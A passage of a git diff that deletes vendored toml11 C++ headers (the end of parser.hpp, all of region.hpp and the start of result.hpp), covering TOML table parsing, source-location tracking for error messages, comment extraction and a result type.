-        case value_t::offset_datetime: {return parse_value_helper<Value>(parse_offset_datetime(loc)    );}
-        case value_t::local_datetime : {return parse_value_helper<Value>(parse_local_datetime(loc)     );}
-        case value_t::local_date     : {return parse_value_helper<Value>(parse_local_date(loc)         );}
-        case value_t::local_time     : {return parse_value_helper<Value>(parse_local_time(loc)         );}
-        case value_t::array          : {return parse_value_helper<Value>(parse_array<Value>(loc)       );}
-        case value_t::table          : {return parse_value_helper<Value>(parse_inline_table<Value>(loc));}
-        default:
-        {
-            const auto msg = format_underline("toml::parse_value: "
-                    "unknown token appeared", {{source_location(loc), "unknown"}});
-            loc.reset(first);
-            return err(msg);
-        }
-    }
-}
-
-inline result<std::pair<std::vector<key>, region>, std::string>
-parse_table_key(location& loc)
-{
-    if(auto token = lex_std_table::invoke(loc))
-    {
-        location inner_loc(loc.name(), token.unwrap().str());
-
-        const auto open = lex_std_table_open::invoke(inner_loc);
-        if(!open || inner_loc.iter() == inner_loc.end())
-        {
-            throw internal_error(format_underline(
-                "toml::parse_table_key: no `[`",
-                {{source_location(inner_loc), "should be `[`"}}),
-                source_location(inner_loc));
-        }
-        // to skip [ a . b . c ]
-        //          ^----------- this whitespace
-        lex_ws::invoke(inner_loc);
-        const auto keys = parse_key(inner_loc);
-        if(!keys)
-        {
-            throw internal_error(format_underline(
-                "toml::parse_table_key: invalid key",
-                {{source_location(inner_loc), "not key"}}),
-                source_location(inner_loc));
-        }
-        // to skip [ a . b . c ]
-        //                    ^-- this whitespace
-        lex_ws::invoke(inner_loc);
-        const auto close = lex_std_table_close::invoke(inner_loc);
-        if(!close)
-        {
-            throw internal_error(format_underline(
-                "toml::parse_table_key: no `]`",
-                {{source_location(inner_loc), "should be `]`"}}),
-                source_location(inner_loc));
-        }
-
-        // after [table.key], newline or EOF(empty table) required.
-        if(loc.iter() != loc.end())
-        {
-            using lex_newline_after_table_key =
-                sequence<maybe<lex_ws>, maybe<lex_comment>, lex_newline>;
-            const auto nl = lex_newline_after_table_key::invoke(loc);
-            if(!nl)
-            {
-                throw syntax_error(format_underline(
-                    "toml::parse_table_key: newline required after [table.key]",
-                    {{source_location(loc), "expected newline"}}),
-                    source_location(loc));
-            }
-        }
-        return ok(std::make_pair(keys.unwrap().first, token.unwrap()));
-    }
-    else
-    {
-        return err(format_underline("toml::parse_table_key: "
-            "not a valid table key", {{source_location(loc), "here"}}));
-    }
-}
-
-inline result<std::pair<std::vector<key>, region>, std::string>
-parse_array_table_key(location& loc)
-{
-    if(auto token = lex_array_table::invoke(loc))
-    {
-        location inner_loc(loc.name(), token.unwrap().str());
-
-        const auto open = lex_array_table_open::invoke(inner_loc);
-        if(!open || inner_loc.iter() == inner_loc.end())
-        {
-            throw internal_error(format_underline(
-                "toml::parse_array_table_key: no `[[`",
-                {{source_location(inner_loc), "should be `[[`"}}),
-                source_location(inner_loc));
-        }
-        lex_ws::invoke(inner_loc);
-        const auto keys = parse_key(inner_loc);
-        if(!keys)
-        {
-            throw internal_error(format_underline(
-                "toml::parse_array_table_key: invalid key",
-                {{source_location(inner_loc), "not a key"}}),
-                source_location(inner_loc));
-        }
-        lex_ws::invoke(inner_loc);
-        const auto close = lex_array_table_close::invoke(inner_loc);
-        if(!close)
-        {
-            throw internal_error(format_underline(
-                "toml::parse_table_key: no `]]`",
-                {{source_location(inner_loc), "should be `]]`"}}),
-                source_location(inner_loc));
-        }
-
-        // after [[table.key]], newline or EOF(empty table) required.
-        if(loc.iter() != loc.end())
-        {
-            using lex_newline_after_table_key =
-                sequence<maybe<lex_ws>, maybe<lex_comment>, lex_newline>;
-            const auto nl = lex_newline_after_table_key::invoke(loc);
-            if(!nl)
-            {
-                throw syntax_error(format_underline("toml::"
-                    "parse_array_table_key: newline required after [[table.key]]",
-                    {{source_location(loc), "expected newline"}}),
-                    source_location(loc));
-            }
-        }
-        return ok(std::make_pair(keys.unwrap().first, token.unwrap()));
-    }
-    else
-    {
-        return err(format_underline("toml::parse_array_table_key: "
-            "not a valid table key", {{source_location(loc), "here"}}));
-    }
-}
-
-// parse table body (key-value pairs until the iter hits the next [tablekey])
-template<typename Value>
-result<typename Value::table_type, std::string>
-parse_ml_table(location& loc)
-{
-    using value_type = Value;
-    using table_type = typename value_type::table_type;
-
-    const auto first = loc.iter();
-    if(first == loc.end())
-    {
-        return ok(table_type{});
-    }
-
-    // XXX at lest one newline is needed.
-    using skip_line = repeat<
-        sequence<maybe<lex_ws>, maybe<lex_comment>, lex_newline>, at_least<1>>;
-    skip_line::invoke(loc);
-    lex_ws::invoke(loc);
-
-    table_type tab;
-    while(loc.iter() != loc.end())
-    {
-        lex_ws::invoke(loc);
-        const auto before = loc.iter();
-        if(const auto tmp = parse_array_table_key(loc)) // next table found
-        {
-            loc.reset(before);
-            return ok(tab);
-        }
-        if(const auto tmp = parse_table_key(loc)) // next table found
-        {
-            loc.reset(before);
-            return ok(tab);
-        }
-
-        if(const auto kv = parse_key_value_pair<value_type>(loc))
-        {
-            const auto&              kvpair  = kv.unwrap();
-            const std::vector<key>&  keys    = kvpair.first.first;
-            const auto&              key_reg = kvpair.first.second;
-            const value_type&        val     = kvpair.second;
-            const auto inserted =
-                insert_nested_key(tab, val, keys.begin(), keys.end(), key_reg);
-            if(!inserted)
-            {
-                return err(inserted.unwrap_err());
-            }
-        }
-        else
-        {
-            return err(kv.unwrap_err());
-        }
-
-        // comment lines are skipped by the above function call.
-        // However, since the `skip_line` requires at least 1 newline, it fails
-        // if the file ends with ws and/or comment without newline.
-        // `skip_line` matches `ws? + comment? + newline`, not `ws` or `comment`
-        // itself. To skip the last ws and/or comment, call lexers.
-        // It does not matter if these fails, so the return value is discarded.
-        lex_ws::invoke(loc);
-        lex_comment::invoke(loc);
-
-        // skip_line is (whitespace? comment? newline)_{1,}. multiple empty lines
-        // and comments after the last key-value pairs are allowed.
-        const auto newline = skip_line::invoke(loc);
-        if(!newline && loc.iter() != loc.end())
-        {
-            const auto before2 = loc.iter();
-            lex_ws::invoke(loc); // skip whitespace
-            const auto msg = format_underline("toml::parse_table: "
-                "invalid line format", {{source_location(loc), concat_to_string(
-                "expected newline, but got '", show_char(*loc.iter()), "'.")}});
-            loc.reset(before2);
-            return err(msg);
-        }
-
-        // the skip_lines only matches with lines that includes newline.
-        // to skip the last line that includes comment and/or whitespace
-        // but no newline, call them one more time.
-        lex_ws::invoke(loc);
-        lex_comment::invoke(loc);
-    }
-    return ok(tab);
-}
-
-template<typename Value>
-result<Value, std::string> parse_toml_file(location& loc)
-{
-    using value_type = Value;
-    using table_type = typename value_type::table_type;
-
-    const auto first = loc.iter();
-    if(first == loc.end())
-    {
-        // For empty files, return an empty table with an empty region (zero-length).
-        // Without the region, error messages would miss the filename.
-        return ok(value_type(table_type{}, region(loc, first, first), {}));
-    }
-
-    // put the first line as a region of a file
-    // Here first != loc.end(), so taking std::next is okay
-    const region file(loc, first, std::next(loc.iter()));
-
-    // The first successive comments that are separated from the first value
-    // by an empty line are for a file itself.
-    // ```toml
-    // # this is a comment for a file.
-    //
-    // key = "the first value"
-    // ```
-    // ```toml
-    // # this is a comment for "the first value".
-    // key = "the first value"
-    // ```
-    std::vector<std::string> comments;
-    using lex_first_comments = sequence<
-        repeat<sequence<maybe<lex_ws>, lex_comment, lex_newline>, at_least<1>>,
-        sequence<maybe<lex_ws>, lex_newline>
-        >;
-    if(const auto token = lex_first_comments::invoke(loc))
-    {
-        location inner_loc(loc.name(), token.unwrap().str());
-        while(inner_loc.iter() != inner_loc.end())
-        {
-            maybe<lex_ws>::invoke(inner_loc); // remove ws if exists
-            if(lex_newline::invoke(inner_loc))
-            {
-                assert(inner_loc.iter() == inner_loc.end());
-                break; // empty line found.
-            }
-            auto com = lex_comment::invoke(inner_loc).unwrap().str();
-            com.erase(com.begin()); // remove # sign
-            comments.push_back(std::move(com));
-            lex_newline::invoke(inner_loc);
-        }
-    }
-
-    table_type data;
-    // root object is also a table, but without [tablename]
-    if(const auto tab = parse_ml_table<value_type>(loc))
-    {
-        data = std::move(tab.unwrap());
-    }
-    else // failed (empty table is regarded as success in parse_ml_table)
-    {
-        return err(tab.unwrap_err());
-    }
-    while(loc.iter() != loc.end())
-    {
-        // here, the region of [table] is regarded as the table-key because
-        // the table body is normally too big and it is not so informative
-        // if the first key-value pair of the table is shown in the error
-        // message.
-        if(const auto tabkey = parse_array_table_key(loc))
-        {
-            const auto tab = parse_ml_table<value_type>(loc);
-            if(!tab){return err(tab.unwrap_err());}
-
-            const auto& tk   = tabkey.unwrap();
-            const auto& keys = tk.first;
-            const auto& reg  = tk.second;
-
-            const auto inserted = insert_nested_key(data,
-                    value_type(tab.unwrap(), reg, reg.comments()),
-                    keys.begin(), keys.end(), reg,
-                    /*is_array_of_table=*/ true);
-            if(!inserted) {return err(inserted.unwrap_err());}
-
-            continue;
-        }
-        if(const auto tabkey = parse_table_key(loc))
-        {
-            const auto tab = parse_ml_table<value_type>(loc);
-            if(!tab){return err(tab.unwrap_err());}
-
-            const auto& tk   = tabkey.unwrap();
-            const auto& keys = tk.first;
-            const auto& reg  = tk.second;
-
-            const auto inserted = insert_nested_key(data,
-                value_type(tab.unwrap(), reg, reg.comments()),
-                keys.begin(), keys.end(), reg);
-            if(!inserted) {return err(inserted.unwrap_err());}
-
-            continue;
-        }
-        return err(format_underline("toml::parse_toml_file: "
-            "unknown line appeared", {{source_location(loc), "unknown format"}}));
-    }
-
-    return ok(Value(std::move(data), file, comments));
-}
-
-} // detail
-
-template<typename                     Comment = TOML11_DEFAULT_COMMENT_STRATEGY,
-         template<typename ...> class Table   = std::unordered_map,
-         template<typename ...> class Array   = std::vector>
-basic_value<Comment, Table, Array>
-parse(std::istream& is, const std::string& fname = "unknown file")
-{
-    using value_type = basic_value<Comment, Table, Array>;
-
-    const auto beg = is.tellg();
-    is.seekg(0, std::ios::end);
-    const auto end = is.tellg();
-    const auto fsize = end - beg;
-    is.seekg(beg);
-
-    // read whole file as a sequence of char
-    assert(fsize >= 0);
-    std::vector<char> letters(static_cast<std::size_t>(fsize));
-    is.read(letters.data(), fsize);
-
-    // append LF.
-    // Although TOML does not require LF at the EOF, to make parsing logic
-    // simpler, we "normalize" the content by adding LF if it does not exist.
-    // It also checks if the last char is CR, to avoid changing the meaning.
-    // This is not the *best* way to deal with the last character, but is a
-    // simple and quick fix.
-    if(!letters.empty() && letters.back() != '\n' && letters.back() != '\r')
-    {
-        letters.push_back('\n');
-    }
-
-    detail::location loc(std::move(fname), std::move(letters));
-
-    // skip BOM if exists.
-    // XXX component of BOM (like 0xEF) exceeds the representable range of
-    // signed char, so on some (actually, most) of the environment, these cannot
-    // be compared to char. However, since we are always out of luck, we need to
-    // check our chars are equivalent to BOM. To do this, first we need to
-    // convert char to unsigned char to guarantee the comparability.
-    if(loc.source()->size() >= 3)
-    {
-        std::array<unsigned char, 3> BOM;
-        std::memcpy(BOM.data(), loc.source()->data(), 3);
-        if(BOM[0] == 0xEF && BOM[1] == 0xBB && BOM[2] == 0xBF)
-        {
-            loc.advance(3); // BOM found. skip.
-        }
-    }
-
-    const auto data = detail::parse_toml_file<value_type>(loc);
-    if(!data)
-    {
-        throw syntax_error(data.unwrap_err(), source_location(loc));
-    }
-    return data.unwrap();
-}
-
-template<typename                     Comment = TOML11_DEFAULT_COMMENT_STRATEGY,
-         template<typename ...> class Table   = std::unordered_map,
-         template<typename ...> class Array   = std::vector>
-basic_value<Comment, Table, Array> parse(const std::string& fname)
-{
-    std::ifstream ifs(fname.c_str(), std::ios_base::binary);
-    if(!ifs.good())
-    {
-        throw std::runtime_error("toml::parse: file open error -> " + fname);
-    }
-    return parse<Comment, Table, Array>(ifs, fname);
-}
-
-#ifdef TOML11_HAS_STD_FILESYSTEM
-// This function just forwards `parse("filename.toml")` to std::string version
-// to avoid the ambiguity in overload resolution.
-//
-// Both std::string and std::filesystem::path are convertible from const char*.
-// Without this, both parse(std::string) and parse(std::filesystem::path)
-// matches to parse("filename.toml"). This breaks the existing code.
-//
-// This function exactly matches to the invocation with c-string.
-// So this function is preferred than others and the ambiguity disappears.
-template<typename                     Comment = TOML11_DEFAULT_COMMENT_STRATEGY,
-         template<typename ...> class Table   = std::unordered_map,
-         template<typename ...> class Array   = std::vector>
-basic_value<Comment, Table, Array> parse(const char* fname)
-{
-    return parse<Comment, Table, Array>(std::string(fname));
-}
-
-template<typename                     Comment = TOML11_DEFAULT_COMMENT_STRATEGY,
-         template<typename ...> class Table   = std::unordered_map,
-         template<typename ...> class Array   = std::vector>
-basic_value<Comment, Table, Array> parse(const std::filesystem::path& fpath)
-{
-    std::ifstream ifs(fpath, std::ios_base::binary);
-    if(!ifs.good())
-    {
-        throw std::runtime_error("toml::parse: file open error -> " +
-                                 fpath.string());
-    }
-    return parse<Comment, Table, Array>(ifs, fpath.string());
-}
-#endif // TOML11_HAS_STD_FILESYSTEM
-
-} // toml
-#endif// TOML11_PARSER_HPP
diff --git a/src/toml11/toml/region.hpp b/src/toml11/toml/region.hpp
deleted file mode 100644
index 2e01e51d086..00000000000
--- a/src/toml11/toml/region.hpp
+++ /dev/null
@@ -1,417 +0,0 @@
-//     Copyright Toru Niina 2017.
-// Distributed under the MIT License.
-#ifndef TOML11_REGION_HPP
-#define TOML11_REGION_HPP
-#include <memory>
-#include <vector>
-#include <algorithm>
-#include <initializer_list>
-#include <iterator>
-#include <iomanip>
-#include <cassert>
-#include "color.hpp"
-
-namespace toml
-{
-namespace detail
-{
-
-// helper function to avoid std::string(0, 'c') or std::string(iter, iter)
-template<typename Iterator>
-std::string make_string(Iterator first, Iterator last)
-{
-    if(first == last) {return "";}
-    return std::string(first, last);
-}
-inline std::string make_string(std::size_t len, char c)
-{
-    if(len == 0) {return "";}
-    return std::string(len, c);
-}
-
-// region_base is a base class of location and region that are defined below.
-// it will be used to generate better error messages.
-struct region_base
-{
-    region_base() = default;
-    virtual ~region_base() = default;
-    region_base(const region_base&) = default;
-    region_base(region_base&&     ) = default;
-    region_base& operator=(const region_base&) = default;
-    region_base& operator=(region_base&&     ) = default;
-
-    virtual bool is_ok()           const noexcept {return false;}
-    virtual char front()           const noexcept {return '\0';}
-
-    virtual std::string str()      const {return std::string("unknown region");}
-    virtual std::string name()     const {return std::string("unknown file");}
-    virtual std::string line()     const {return std::string("unknown line");}
-    virtual std::string line_num() const {return std::string("?");}
-
-    // length of the region
-    virtual std::size_t size()     const noexcept {return 0;}
-    // number of characters in the line before the region
-    virtual std::size_t before()   const noexcept {return 0;}
-    // number of characters in the line after the region
-    virtual std::size_t after()    const noexcept {return 0;}
-
-    virtual std::vector<std::string> comments() const {return {};}
-    // ```toml
-    // # comment_before
-    // key = "value" # comment_inline
-    // ```
-};
-
-// location represents a position in a container, which contains a file content.
-// it can be considered as a region that contains only one character.
-//
-// it contains pointer to the file content and iterator that points the current
-// location.
-struct location final : public region_base
-{
-    using const_iterator  = typename std::vector<char>::const_iterator;
-    using difference_type = typename const_iterator::difference_type;
-    using source_ptr      = std::shared_ptr<const std::vector<char>>;
-
-    location(std::string source_name, std::vector<char> cont)
-      : source_(std::make_shared<std::vector<char>>(std::move(cont))),
-        line_number_(1), source_name_(std::move(source_name)), iter_(source_->cbegin())
-    {}
-    location(std::string source_name, const std::string& cont)
-      : source_(std::make_shared<std::vector<char>>(cont.begin(), cont.end())),
-        line_number_(1), source_name_(std::move(source_name)), iter_(source_->cbegin())
-    {}
-
-    location(const location&) = default;
-    location(location&&)      = default;
-    location& operator=(const location&) = default;
-    location& operator=(location&&)      = default;
-    ~location() = default;
-
-    bool is_ok() const noexcept override {return static_cast<bool>(source_);}
-    char front() const noexcept override {return *iter_;}
-
-    // this const prohibits codes like `++(loc.iter())`.
-    const const_iterator iter()  const noexcept {return iter_;}
-
-    const_iterator begin() const noexcept {return source_->cbegin();}
-    const_iterator end()   const noexcept {return source_->cend();}
-
-    // XXX `location::line_num()` used to be implemented using `std::count` to
-    // count a number of '\n'. But with a long toml file (typically, 10k lines),
-    // it becomes intolerably slow because each time it generates error messages,
-    // it counts '\n' from thousands of characters. To workaround it, I decided
-    // to introduce `location::line_number_` member variable and synchronize it
-    // to the location changes the point to look. So an overload of `iter()`
-    // which returns mutable reference is removed and `advance()`, `retrace()`
-    // and `reset()` is added.
-    void advance(difference_type n = 1) noexcept
-    {
-        this->line_number_ += static_cast<std::size_t>(
-                std::count(this->iter_, std::next(this->iter_, n), '\n'));
-        this->iter_ += n;
-        return;
-    }
-    void retrace(difference_type n = 1) noexcept
-    {
-        this->line_number_ -= static_cast<std::size_t>(
-                std::count(std::prev(this->iter_, n), this->iter_, '\n'));
-        this->iter_ -= n;
-        return;
-    }
-    void reset(const_iterator rollback) noexcept
-    {
-        // since c++11, std::distance works in both ways for random-access
-        // iterators and returns a negative value if `first > last`.
-        if(0 <= std::distance(rollback, this->iter_)) // rollback < iter
-        {
-            this->line_number_ -= static_cast<std::size_t>(
-                    std::count(rollback, this->iter_, '\n'));
-        }
-        else // iter < rollback [[unlikely]]
-        {
-            this->line_number_ += static_cast<std::size_t>(
-                    std::count(this->iter_, rollback, '\n'));
-        }
-        this->iter_ = rollback;
-        return;
-    }
-
-    std::string str()  const override {return make_string(1, *this->iter());}
-    std::string name() const override {return source_name_;}
-
-    std::string line_num() const override
-    {
-        return std::to_string(this->line_number_);
-    }
-
-    std::string line() const override
-    {
-        return make_string(this->line_begin(), this->line_end());
-    }
-
-    const_iterator line_begin() const noexcept
-    {
-        using reverse_iterator = std::reverse_iterator<const_iterator>;
-        return std::find(reverse_iterator(this->iter()),
-                         reverse_iterator(this->begin()), '\n').base();
-    }
-    const_iterator line_end() const noexcept
-    {
-        return std::find(this->iter(), this->end(), '\n');
-    }
-
-    // location is always points a character. so the size is 1.
-    std::size_t size() const noexcept override
-    {
-        return 1u;
-    }
-    std::size_t before() const noexcept override
-    {
-        const auto sz = std::distance(this->line_begin(), this->iter());
-        assert(sz >= 0);
-        return static_cast<std::size_t>(sz);
-    }
-    std::size_t after() const noexcept override
-    {
-        const auto sz = std::distance(this->iter(), this->line_end());
-        assert(sz >= 0);
-        return static_cast<std::size_t>(sz);
-    }
-
-    source_ptr const& source() const& noexcept {return source_;}
-    source_ptr&&      source() &&     noexcept {return std::move(source_);}
-
-  private:
-
-    source_ptr     source_;
-    std::size_t    line_number_;
-    std::string    source_name_;
-    const_iterator iter_;
-};
-
-// region represents a range in a container, which contains a file content.
-//
-// it contains pointer to the file content and iterator that points the first
-// and last location.
-struct region final : public region_base
-{
-    using const_iterator = typename std::vector<char>::const_iterator;
-    using source_ptr     = std::shared_ptr<const std::vector<char>>;
-
-    // delete default constructor. source_ never be null.
-    region() = delete;
-
-    explicit region(const location& loc)
-      : source_(loc.source()), source_name_(loc.name()),
-        first_(loc.iter()), last_(loc.iter())
-    {}
-    explicit region(location&& loc)
-      : source_(loc.source()), source_name_(loc.name()),
-        first_(loc.iter()), last_(loc.iter())
-    {}
-
-    region(const location& loc, const_iterator f, const_iterator l)
-      : source_(loc.source()), source_name_(loc.name()), first_(f), last_(l)
-    {}
-    region(location&& loc, const_iterator f, const_iterator l)
-      : source_(loc.source()), source_name_(loc.name()), first_(f), last_(l)
-    {}
-
-    region(const region&) = default;
-    region(region&&)      = default;
-    region& operator=(const region&) = default;
-    region& operator=(region&&)      = default;
-    ~region() = default;
-
-    region& operator+=(const region& other)
-    {
-        // different regions cannot be concatenated
-        assert(this->begin() == other.begin() && this->end() == other.end() &&
-               this->last_   == other.first_);
-
-        this->last_ = other.last_;
-        return *this;
-    }
-
-    bool is_ok() const noexcept override {return static_cast<bool>(source_);}
-    char front() const noexcept override {return *first_;}
-
-    std::string str()  const override {return make_string(first_, last_);}
-    std::string line() const override
-    {
-        if(this->contain_newline())
-        {
-            return make_string(this->line_begin(),
-                    std::find(this->line_begin(), this->last(), '\n'));
-        }
-        return make_string(this->line_begin(), this->line_end());
-    }
-    std::string line_num() const override
-    {
-        return std::to_string(1 + std::count(this->begin(), this->first(), '\n'));
-    }
-
-    std::size_t size() const noexcept override
-    {
-        const auto sz = std::distance(first_, last_);
-        assert(sz >= 0);
-        return static_cast<std::size_t>(sz);
-    }
-    std::size_t before() const noexcept override
-    {
-        const auto sz = std::distance(this->line_begin(), this->first());
-        assert(sz >= 0);
-        return static_cast<std::size_t>(sz);
-    }
-    std::size_t after() const noexcept override
-    {
-        const auto sz = std::distance(this->last(), this->line_end());
-        assert(sz >= 0);
-        return static_cast<std::size_t>(sz);
-    }
-
-    bool contain_newline() const noexcept
-    {
-        return std::find(this->first(), this->last(), '\n') != this->last();
-    }
-
-    const_iterator line_begin() const noexcept
-    {
-        using reverse_iterator = std::reverse_iterator<const_iterator>;
-        return std::find(reverse_iterator(this->first()),
-                         reverse_iterator(this->begin()), '\n').base();
-    }
-    const_iterator line_end() const noexcept
-    {
-        return std::find(this->last(), this->end(), '\n');
-    }
-
-    const_iterator begin() const noexcept {return source_->cbegin();}
-    const_iterator end()   const noexcept {return source_->cend();}
-    const_iterator first() const noexcept {return first_;}
-    const_iterator last()  const noexcept {return last_;}
-
-    source_ptr const& source() const& noexcept {return source_;}
-    source_ptr&&      source() &&     noexcept {return std::move(source_);}
-
-    std::string name() const override {return source_name_;}
-
-    std::vector<std::string> comments() const override
-    {
-        // assuming the current region (`*this`) points a value.
-        // ```toml
-        // a = "value"
-        //     ^^^^^^^- this region
-        // ```
-        using rev_iter = std::reverse_iterator<const_iterator>;
-
-        std::vector<std::string> com{};
-        {
-            // find comments just before the current region.
-            // ```toml
-            // # this should be collected.
-            // # this also.
-            // a = value # not this.
-            // ```
-
-            // # this is a comment for `a`, not array elements.
-            // a = [1, 2, 3, 4, 5]
-            if(this->first() == std::find_if(this->line_begin(), this->first(),
-                [](const char c) noexcept -> bool {return c == '[' || c == '{';}))
-            {
-                auto iter = this->line_begin(); // points the first character
-                while(iter != this->begin())
-                {
-                    iter = std::prev(iter);
-
-                    // range [line_start, iter) represents the previous line
-                    const auto line_start   = std::find(
-                            rev_iter(iter), rev_iter(this->begin()), '\n').base();
-                    const auto comment_found = std::find(line_start, iter, '#');
-                    if(comment_found == iter)
-                    {
-                        break; // comment not found.
-                    }
-
-                    // exclude the following case.
-                    // > a = "foo" # comment // <-- this is not a comment for b but a.
-                    // > b = "current value"
-                    if(std::all_of(line_start, comment_found,
-                            [](const char c) noexcept -> bool {
-                                return c == ' ' || c == '\t';
-                            }))
-                    {
-                        // unwrap the first '#' by std::next.
-                        auto s = make_string(std::next(comment_found), iter);
-                        if(!s.empty() && s.back() == '\r') {s.pop_back();}
-                        com.push_back(std::move(s));
-                    }
-                    else
-                    {
-                        break;
-                    }
-                    iter = line_start;
-                }
-            }
-        }
-
-        if(com.size() > 1)
-        {
-            std::reverse(com.begin(), com.end());
-        }
-
-        {
-            // find comments just after the current region.
-            // ```toml
-            // # not this.
-            // a = value # this one.
-            // a = [ # not this (technically difficult)
-            //
-            // ] # and this.
-            // ```
-            // The reason why it's difficult is that it requires parsing in the
-            // following case.
-            // ```toml
-            // a = [ 10 # this comment is for `10`. not for `a` but `a[0]`.
-            // # ...
-            // ] # this is apparently a comment for a.
-            //
-            // b = [
-            // 3.14 ] # there is no way to add a comment to `3.14` currently.
-            //
-            // c = [
-            //   3.14 # do this if you need a comment here.
-            // ]
-            // ```
-            const auto comment_found =
-                std::find(this->last(), this->line_end(), '#');
-            if(comment_found != this->line_end()) // '#' found
-            {
-                // table = {key = "value"} # what is this for?
-                // the above comment is not for "value", but {key="value"}.
-                if(comment_found == std::find_if(this->last(), comment_found,
-                    [](const char c) noexcept -> bool {
-                        return !(c == ' ' || c == '\t' || c == ',');
-                    }))
-                {
-                    // unwrap the first '#' by std::next.
-                    auto s = make_string(std::next(comment_found), this->line_end());
-                    if(!s.empty() && s.back() == '\r') {s.pop_back();}
-                    com.push_back(std::move(s));
-                }
-            }
-        }
-        return com;
-    }
-
-  private:
-
-    source_ptr     source_;
-    std::string    source_name_;
-    const_iterator first_, last_;
-};
-
-} // detail
-} // toml
-#endif// TOML11_REGION_H
diff --git a/src/toml11/toml/result.hpp b/src/toml11/toml/result.hpp
deleted file mode 100644
index 77cd46c6486..00000000000
--- a/src/toml11/toml/result.hpp
+++ /dev/null
@@ -1,717 +0,0 @@
-//     Copyright Toru Niina 2017.
-// Distributed under the MIT License.
-#ifndef TOML11_RESULT_HPP
-#define TOML11_RESULT_HPP
-#include "traits.hpp"
-#include <type_traits>
-#include <stdexcept>
-#include <utility>
-#include <new>
-#include <string>
-#include <sstream>
-#include <cassert>
-
-namespace toml
-{
-
-template<typename T>
-struct success
-{
-    using value_type = T;
-    value_type value;
-
-    explicit success(const value_type& v)
-        noexcept(std::is_nothrow_copy_constructible<value_type>::value)
-        : value(v)
-    {}
-    explicit success(value_type&& v)
-        noexcept(std::is_nothrow_move_constructible<value_type>::value)
-        : value(std::move(v))
-    {}
-
-    template<typename U>
-    explicit success(U&& v): value(std::forward<U>(v)) {}
-
-    template<typename U>
-    explicit success(const success<U>& v): value(v.value) {}
-    template<typename U>
-    explicit success(success<U>&& v): value(std::move(v.value)) {}
-
-    ~success() = default;
-    success(const success&) = default;
-    success(success&&)      = default;
-    success& operator=(const success&) = default;
-    success& operator=(success&&)      = default;
-};
-
-template<typename T>
-struct failure
-{
-    using value_type = T;
-    value_type value;
-
-    explicit failure(const value_type& v)
-        noexcept(std::is_nothrow_copy_constructible<value_type>::value)
-        : value(v)
-    {}
-    explicit failure(value_type&& v)
-        noexcept(std::is_nothrow_move_constructible<value_type>::value)
-        : value(std::move(v))
-    {}
-
-    template<typename U>
-    explicit failure(U&& v): value(std::forward<U>(v)) {}
-
-    template<typename U>
-    explicit failure(const failure<U>& v): value(v.value) {}
-    template<typename U>
-    explicit failure(failure<U>&& v): value(std::move(v.value)) {}
-
-    ~failure() = default;
-    failure(const failure&) = default;
-    failure(failure&&)      = default;
-    failure& operator=(const failure&) = default;
-    failure& operator=(failure&&)      = default;
-};
-
-template<typename T>
-success<typename std::remove_cv<typename std::remove_reference<T>::type>::type>
-ok(T&& v)
-{
-    return success<
-        typename std::remove_cv<typename std::remove_reference<T>::type>::type
-        >(std::forward<T>(v));
-}
-template<typename T>
-failure<typename std::remove_cv<typename std::remove_reference<T>::type>::type>
-err(T&& v)
-{
-    return failure<
-        typename std::remove_cv<typename std::remove_reference<T>::type>::type
-        >(std::forward<T>(v));
-}
-
-inline success<std::string> ok(const char* literal)
-{
-    return success<std::string>(std::string(literal));
-}
-inline failure<std::string> err(const char* literal)
-{
-    return failure<std::string>(std::string(literal));
-}
-
-
-template<typename T, typename E>
-struct result
-{
-    using value_type = T;
-    using error_type = E;
-    using success_type = success<value_type>;
-    using failure_type = failure<error_type>;
-
-    result(const success_type& s): is_ok_(true)
-    {
-        auto tmp = ::new(std::addressof(this->succ)) success_type(s);
-        assert(tmp == std::addressof(this->succ));
-        (void)tmp;
-    }
-    result(const failure_type& f): is_ok_(false)
-    {
-        auto tmp = ::new(std::addressof(this->fail)) failure_type(f);
-        assert(tmp == std::addressof(this->fail));
-        (void)tmp;
-    }
-    result(success_type&& s): is_ok_(true)
-    {
-        auto tmp = ::new(std::addressof(this->succ)) success_type(std::move(s));
-        assert(tmp == std::addressof(this->succ));
-        (void)tmp;
-    }
-    result(failure_type&& f): is_ok_(false)
-    {
-        auto tmp = ::new(std::addressof(this->fail)) failure_type(std::move(f));
-        assert(tmp == std::addressof(this->fail));
-        (void)tmp;
-    }
-
-    template<typename U>
-    result(const success<U>& s): is_ok_(true)
-    {
-        auto tmp = ::new(std::addressof(this->succ)) success_type(s.value);
-        assert(tmp == std::addressof(this->succ));
-        (void)tmp;
-    }
-    template<typename U>
-    result(const failure<U>& f): is_ok_(false)
-    {
-        auto tmp = ::new(std::addressof(this->fail)) failure_type(f.value);
-        assert(tmp == std::addressof(this->fail));
-        (void)tmp;
-    }
-    template<typename U>
-    result(success<U>&& s): is_ok_(true)
-    {
-        auto tmp = ::new(std::addressof(this->succ)) success_type(std::move(s.value));
-        assert(tmp == std::addressof(this->succ));
-        (void)tmp;
-    }
-    template<typename U>
-    result(failure<U>&& f): is_ok_(false)
-    {
-        auto tmp = ::new(std::addressof(this->fail)) failure_type(std::move(f.value));
-        assert(tmp == std::addressof(this->fail));
-        (void)tmp;
-    }
-
-    result& operator=(const success_type& s)
-    {
-        this->cleanup();
-        this->is_ok_ = true;
-        auto tmp = ::new(std::addressof(this->succ)) success_type(s);
-        assert(tmp == std::addressof(this->succ));
-        (void)tmp;
-        return *this;
-    }
-    result& operator=(const failure_type& f)
-    {
-        this->cleanup();
-        this->is_ok_ = false;
-        auto tmp = ::new(std::addressof(this->fail)) failure_type(f);
-        assert(tmp == std::addressof(this->fail));
-        (void)tmp;
-        return *this;
-    }
-    result& operator=(success_type&& s)
-    {
-        this->cleanup();
-        this->is_ok_ = true;
-        auto tmp = ::new(std::addressof(this->succ)) success_type(std::move(s));
-        assert(tmp == std::addressof(this->succ));
-        (void)tmp;
-        return *this;
-    }
-    result& operator=(failure_type&& f)
-    {
-        this->cleanup();
-        this->is_ok_ = false;
-        auto tmp = ::new(std::addressof(this->fail)) failure_type(std::move(f));
-        assert(tmp == std::addressof(this->fail));
-        (void)tmp;
-        return *this;
-    }
-
-    template<typename U>
-    result& operator=(const success<U>& s)
-    {
-        this->cleanup();
-        this->is_ok_ = true;
-        auto tmp = ::new(std::addressof(this->succ)) success_type(s.value);
-        assert(tmp == std::addressof(this->succ));
-        (void)tmp;
-        return *this;
-    }
-    template<typename U>
-    result& operator=(const failure<U>& f)
-    {
-        this->cleanup();
-        this->is_ok_ = false;
-        auto tmp = ::new(std::addressof(this->fail)) failure_type(f.value);
-        assert(tmp == std::addressof(this->fail));
